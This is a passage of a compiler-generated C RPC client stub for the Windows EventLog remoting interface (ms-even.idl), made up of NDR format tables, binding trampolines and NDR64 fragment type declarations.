0x2 ),\t/* Offset= 2 (640) */\n/* 640 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 642 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 644 */\t0x27,\t\t/* Corr desc:  parameter, FC_USHORT */\n\t\t\t0x0,\t\t/*  */\n/* 646 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 648 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 650 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 652 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 656 */\tNdrFcLong( 0x100 ),\t/* 256 */\n/* 660 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 664 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 666 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 668 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 672 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 676 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 678 */\tNdrFcShort( 0xfe96 ),\t/* Offset= -362 (316) */\n/* 680 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n\n\t\t\t0x0\n        }\n    };\n\nXFG_BIND_TRAMPOLINES(unsigned long long, EVENTLOG_HANDLE_W)\nXFG_BIND_TRAMPOLINES(unsigned long long, EVENTLOG_HANDLE_A)\n\nstatic const GENERIC_BINDING_ROUTINE_PAIR BindingRoutines[ GENERIC_BINDING_TABLE_SIZE ] = \n        {\n        {\n            (GENERIC_BINDING_ROUTINE) XFG_TRAMPOLINE_FPTR(EVENTLOG_HANDLE_W_bind),\n            (GENERIC_UNBIND_ROUTINE) XFG_TRAMPOLINE_FPTR(EVENTLOG_HANDLE_W_unbind)\n         }\n        ,{\n            (GENERIC_BINDING_ROUTINE) XFG_TRAMPOLINE_FPTR(EVENTLOG_HANDLE_A_bind),\n            (GENERIC_UNBIND_ROUTINE) XFG_TRAMPOLINE_FPTR(EVENTLOG_HANDLE_A_unbind)\n         }\n        \n        };\n\n\nstatic const unsigned short eventlog_FormatStringOffsetTable[] =\n    {\n    0,\n    50,\n    100,\n    144,\n    188,\n    238,\n    288,\n    344,\n    418,\n    492,\n    560,\n    640,\n    762,\n    812,\n    862,\n    936,\n    1010,\n    1078,\n    1158,\n    1280,\n    1310,\n    1340,\n    1370,\n    1438,\n    1468,\n    1596,\n    1712\n    };\n\n\n\n#endif /* defined(_M_AMD64)*/\n\n\n\n/* this ALWAYS GENERATED file contains the RPC client stubs */\n\n\n /* File created by MIDL compiler version 8.01.0628 */\n/* at Mon Jan 18 19:14:07 2038\n */\n/* Compiler settings for ms-even.idl:\n    Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0628 \n    protocol : all , ms_ext, c_ext, robust\n    error checks: allocation ref bounds_check enum stub_data \n    VC __declspec() decoration level: \n         __declspec(uuid()), __declspec(selectany), __declspec(novtable)\n         DECLSPEC_UUID(), MIDL_INTERFACE()\n*/\n/* @@MIDL_FILE_HEADING(  ) */\n\n#if defined(_M_AMD64)\n\n\n\nextern const GENERIC_BINDING_ROUTINE_PAIR BindingRoutines[ GENERIC_BINDING_TABLE_SIZE ];\n\n#if !defined(__RPC_WIN64__)\n#error  Invalid build platform for this stub.\n#endif\n\n\n#include \"ndr64types.h\"\n#include \"pshpack8.h\"\n#ifdef __cplusplus\nnamespace {\n#endif\n\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag274_t;\nextern const __midl_frag274_t __midl_frag274;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag272_t;\nextern const __midl_frag272_t __midl_frag272;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag271_t;\nextern const __midl_frag271_t __midl_frag271;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag270_t;\nextern const __midl_frag270_t __midl_frag270;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag269_t;\nextern const __midl_frag269_t __midl_frag269;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag268_t;\nextern const __midl_frag268_t __midl_frag268;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag267_t;\nextern const __midl_frag267_t __midl_frag267;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag266_t;\nextern const __midl_frag266_t __midl_frag266;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag265_t;\nextern const __midl_frag265_t __midl_frag265;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_REPEAT_FORMAT frag1;\n        struct \n        {\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1;\n            struct _NDR64_POINTER_FORMAT frag2;\n        } frag2;\n        NDR64_FORMAT_CHAR frag3;\n    } frag2;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag3;\n}\n__midl_frag264_t;\nextern const __midl_frag264_t __midl_frag264;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag263_t;\nextern const __midl_frag263_t __midl_frag263;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag262_t;\nextern const __midl_frag262_t __midl_frag262;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag261_t;\nextern const __midl_frag261_t __midl_frag261;\n\ntypedef \nstruct _NDR64_RANGE_FORMAT\n__midl_frag260_t;\nextern const __midl_frag260_t __midl_frag260;\n\ntypedef \nstruct _NDR64_RANGE_FORMAT\n__midl_frag259_t;\nextern const __midl_frag259_t __midl_frag259;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag258_t;\nextern const __midl_frag258_t __midl_frag258;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag257_t;\nextern const __midl_frag257_t __midl_frag257;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag255_t;\nextern const __midl_frag255_t __midl_frag255;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag254_t;\nextern const __midl_frag254_t __midl_frag254;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n    struct _NDR64_PARAM_FORMAT frag11;\n    struct _NDR64_PARAM_FORMAT frag12;\n    struct _NDR64_PARAM_FORMAT frag13;\n    struct _NDR64_PARAM_FORMAT frag14;\n    struct _NDR64_PARAM_FORMAT frag15;\n    struct _NDR64_PARAM_FORMAT frag16;\n}\n__midl_frag253_t;\nextern const __midl_frag253_t __midl_frag253;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag244_t;\nextern const __midl_frag244_t __midl_frag244;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_REPEAT_FORMAT frag1;\n        struct \n        {\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1;\n            struct _NDR64_POINTER_FORMAT frag2;\n        } frag2;\n        NDR64_FORMAT_CHAR frag3;\n    } frag2;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag3;\n}\n__midl_frag242_t;\nextern const __midl_frag242_t __midl_frag242;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag241_t;\nextern const __midl_frag241_t __midl_frag241;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag239_t;\nextern const __midl_frag239_t __midl_frag239;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag233_t;\nextern const __midl_frag233_t __midl_frag233;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n    struct _NDR64_PARAM_FORMAT frag11;\n    struct _NDR64_PARAM_FORMAT frag12;\n    struct _NDR64_PARAM_FORMAT frag13;\n    struct _NDR64_PARAM_FORMAT frag14;\n    struct _NDR64_PARAM_FORMAT frag15;\n    struct _NDR64_PARAM_FORMAT frag16;\n}\n__midl_frag230_t;\nextern const __midl_frag230_t __midl_frag230;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag227_t;\nextern const __midl_frag227_t __midl_frag227;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag223_t;\nextern const __midl_frag223_t __midl_frag223;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag222_t;\nextern const __midl_frag222_t __midl_frag222;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag221_t;\nextern const __midl_frag221_t __midl_frag221;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag220_t;\nextern const __midl_frag220_t __midl_frag220;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag219_t;\nextern const __midl_frag219_t __midl_frag219;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag218_t;\nextern const __midl_frag218_t __midl_frag218;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_REPEAT_FORMAT frag1;\n        struct \n        {\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1;\n            struct _NDR64_POINTER_FORMAT frag2;\n        } frag2;\n        NDR64_FORMAT_CHAR frag3;\n    } frag2;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag3;\n}\n__midl_frag217_t;\nextern const __midl_frag217_t __midl_frag217;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag216_t;\nextern const __midl_frag216_t __midl_frag216;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag215_t;\nextern const __midl_frag215_t __midl_frag215;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag214_t;\nextern const __midl_frag214_t __midl_frag214;\n\ntypedef \nstruct _NDR64_RANGE_FORMAT\n__midl_frag213_t;\nextern const __midl_frag213_t __midl_frag213;\n\ntypedef \nstruct _NDR64_RANGE_FORMAT\n__midl_frag212_t;\nextern const __midl_frag212_t __midl_frag212;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag210_t;\nextern const __midl_frag210_t __midl_frag210;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag209_t;\nextern const __midl_frag209_t __midl_frag209;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n    struct _NDR64_PARAM_FORMAT frag11;\n    struct _NDR64_PARAM_FORMAT frag12;\n    struct _NDR64_PARAM_FORMAT frag13;\n    struct _NDR64_PARAM_FORMAT frag14;\n    struct _NDR64_PARAM_FORMAT frag15;\n    struct _NDR64_PARAM_FORMAT frag16;\n    struct _NDR64_PARAM_FORMAT frag17;\n    struct _NDR64_PARAM_FORMAT frag18;\n}\n__midl_frag205_t;\nextern const __midl_frag205_t __midl_frag205;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n}\n__midl_frag204_t;\nextern const __midl_frag204_t __midl_frag204;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag201_t;\nextern const __midl_frag201_t __midl_frag201;\n\ntypedef \nstruct _NDR64_RANGE_FORMAT\n__midl_frag200_t;\nextern const __midl_frag200_t __midl_frag200;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag198_t;\nextern const __midl_frag198_t __midl_frag198;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag197_t;\nextern const __midl_frag197_t __midl_frag197;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag196_t;\nextern const __midl_frag196_t __midl_frag196;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag193_t;\nextern const __midl_frag193_t __midl_frag193;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag182_t;\nextern const __midl_frag182_t __midl_frag182;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag181_t;\nextern const __midl_frag181_t __midl_frag181;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag180_t;\nextern const __midl_frag180_t __midl_frag180;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag179_t;\nextern const __midl_frag179_t __midl_frag179;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag178_t;\nextern const __midl_frag178_t __midl_frag178;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_REPEAT_FORMAT frag1;\n        struct \n        {\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1;\n            struct _NDR64_POINTER_FORMAT frag2;\n        } frag2;\n        NDR64_FORMAT_CHAR frag3;\n    } frag2;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag3;\n}\n__midl_frag177_t;\nextern const __midl_frag177_t __midl_frag177;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag176_t;\nextern const __midl_frag176_t __midl_frag176;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag174_t;\nextern const __midl_frag174_t __midl_frag174;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n    struct _NDR64_PARAM_FORMAT frag11;\n    struct _NDR64_PARAM_FORMAT frag12;\n    struct _NDR64_PARAM_FORMAT frag13;\n    struct _NDR64_PARAM_FORMAT frag14;\n    struct _NDR64_PARAM_FORMAT frag15;\n    struct _NDR64_PARAM_FORMAT frag16;\n    struct _NDR64_PARAM_FORMAT frag17;\n}\n__midl_frag166_t;\nextern const __midl_frag166_t __midl_frag166;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag159_t;\nextern const __midl_frag159_t __midl_frag159;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag158_t;\nextern const __midl_frag158_t __midl_frag158;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag157_t;\nextern const __midl_frag157_t __midl_frag157;\n\ntypedef \nstruct _NDR64_RANGE_FORMAT\n__midl_frag156_t;\nextern const __midl_frag156_t __midl_frag156;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag152_t;\nextern const __midl_frag152_t __midl_frag152;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag150_t;\nextern const __midl_frag150_t __midl_frag150;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag149_t;\nextern const __midl_frag149_t __midl_frag149;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag144_t;\nextern const __midl_frag144_t __midl_frag144;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag143_t;\nextern const __midl_frag143_t __midl_frag143;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag137_t;\nextern const __midl_frag137_t __midl_frag137;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag134_t;\nextern const __midl_frag134_t __midl_frag134;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag133_t;\nextern const __midl_frag133_t __midl_frag133;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag132_t;\nextern const __midl_frag132_t __midl_frag132;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag131_t;\nextern const __midl_frag131_t __midl_frag131;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag130_t;\nextern const __midl_frag130_t __midl_frag130;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag125_t;\nextern const __midl_frag125_t __midl_frag125;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag124_t;\nextern const __midl_frag124_t __midl_frag124;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag123_t;\nextern const __midl_frag123_t __midl_frag123;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag122_t;\nextern const __midl_frag122_t __midl_frag122;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag121_t;\nextern const __midl_frag121_t __midl_frag121;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag120_t;\nextern const __midl_frag120_t __midl_frag120;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag119_t;\nextern const __midl_frag119_t __midl_frag119;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag117_t;\nextern const __midl_frag117_t __midl_frag117;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag116_t;\nextern const __midl_frag116_t __midl_frag116;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag115_t;\nextern const __midl_frag115_t __midl_frag115;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag114_t;\nextern const __midl_frag114_t __midl_frag114;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_MEMPAD_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag113_t;\nextern const __midl_frag113_t __midl_frag113;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag112_t;\nextern const __midl_frag112_t __midl_frag112;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag110_t;\nextern const __midl_frag110_t __midl_frag110;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag107_t;\nextern const __midl_frag107_t __midl_frag107;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag104_t;\nextern const __midl_frag104_t __midl_frag104;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag101_t;\nextern const __midl_frag101_t __midl_frag101;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag100_t;\nextern const __midl_frag100_t __midl_frag100;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag99_t;\nextern const __midl_frag99_t __midl_frag99;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_REPEAT_FORMAT frag1;\n        struct \n        {\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1;\n            struct _NDR64_POINTER_FORMAT frag2;\n        } frag2;\n        NDR64_FORMAT_CHAR frag3;\n    } frag2;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag3;\n}\n__midl_frag97_t;\nextern const __midl_frag97_t __midl_frag97;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag96_t;\nextern const __midl_frag96_t __midl_frag96;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag94_t;\nextern const __midl_frag94_t __midl_frag94;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag93_t;\nextern const __midl_frag93_t __midl_frag93;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag92_t;\nextern const __midl_frag92_t __midl_frag92;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag91_t;\nextern const __midl_frag91_t __midl_frag91;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag90_t;\nextern const __midl_frag90_t __midl_frag90;\n\ntypedef \nstruct _NDR64_RANGE_FORMAT\n__midl_frag89_t;\nextern const __midl_frag89_t __midl_frag89;\n\ntypedef \nstruct _NDR64_RANGE_FORMAT\n__midl_frag88_t;\nextern const __midl_frag88_t __midl_frag88;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag86_t;\nextern const __midl_frag86_t __midl_frag86;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag83_t;\nextern const __midl_frag83_t __midl_frag83;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n    struct _NDR64_PARAM_FORMAT frag11;\n    struct _NDR64_PARAM_FORMAT frag12;\n    struct _NDR64_PARAM_FORMAT frag13;\n    struct _NDR64_PARAM_FORMAT frag14;\n    struct _NDR64_PARAM_FORMAT frag15;\n    struct _NDR64_PARAM_FORMAT frag16;\n    struct _NDR64_PARAM_FORMAT frag17;\n}\n__midl_frag82_t;\nextern const __midl_frag82_t __midl_frag82;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag79_t;\nextern const __midl_frag79_t __midl_frag79;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag75_t;\nextern const __midl_frag75_t __midl_frag75;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag74_t;\nextern const __midl_frag74_t __midl_frag74;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag73_t;\nextern const __midl_frag73_t __midl_frag73;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag68_t;\nextern const __midl_frag68_t __midl_frag68;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag61_t;\nextern const __midl_frag61_t __midl_frag61;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag60_t;\nextern const __midl_frag60_t __midl_frag60;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    